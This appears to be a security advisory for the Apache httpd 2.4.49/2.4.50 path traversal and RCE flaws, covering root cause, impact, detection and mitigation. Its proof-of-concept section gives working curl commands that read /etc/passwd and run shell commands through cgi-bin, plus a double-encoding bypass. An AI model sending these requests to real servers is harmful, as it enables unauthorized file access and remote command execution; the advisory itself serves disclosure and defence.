Apache HTTP Server 2.4.49/2.4.50 Path Traversal RCE

Product: Apache HTTP Server (httpd)
CVE: CVE-2021-41773 CVE-2021-42013
Disclosed: 2021-10-05
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: Apache httpd 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013, incomplete fix).
Fixed: Apache httpd 2.4.51.

Summary

A path-normalization rewrite in httpd 2.4.49 broke handling of URL-encoded dots, allowing directory traversal outside the document root. Where CGI (mod_cgi) is enabled this becomes remote command execution, and the 2.4.50 fix was bypassed within days using double encoding.

Root cause

The new ap_normalize_path() decoded %2e only after checking for '../' sequences, so '/.%2e/' slipped through. 2.4.50 fixed single encoding but not double encoding ('%%32%65'). If paths outside the docroot are not protected by 'Require all denied', files can be read, and with mod_cgi the traversal reaches /bin/sh as a CGI script.

Impact

Unauthenticated file disclosure and, with CGI enabled, remote command execution as the httpd user.

Public PoC

# file read (/icons/ must be an existing directory)
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

# RCE with mod_cgi or mod_cgid enabled
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

# 2.4.50 (CVE-2021-42013) needs double encoding, e.g. %%32%65 instead of %2e

Source: vulhub - httpd/CVE-2021-41773

Detection

Check the Server header for 2.4.49/2.4.50; nuclei templates CVE-2021-41773 and CVE-2021-42013; access logs with '.%2e' or '%%32%65' in paths under /cgi-bin/ or /icons/.

Mitigation

Upgrade to 2.4.51 or later; ensure the default '<Directory /> Require all denied' configuration is in place.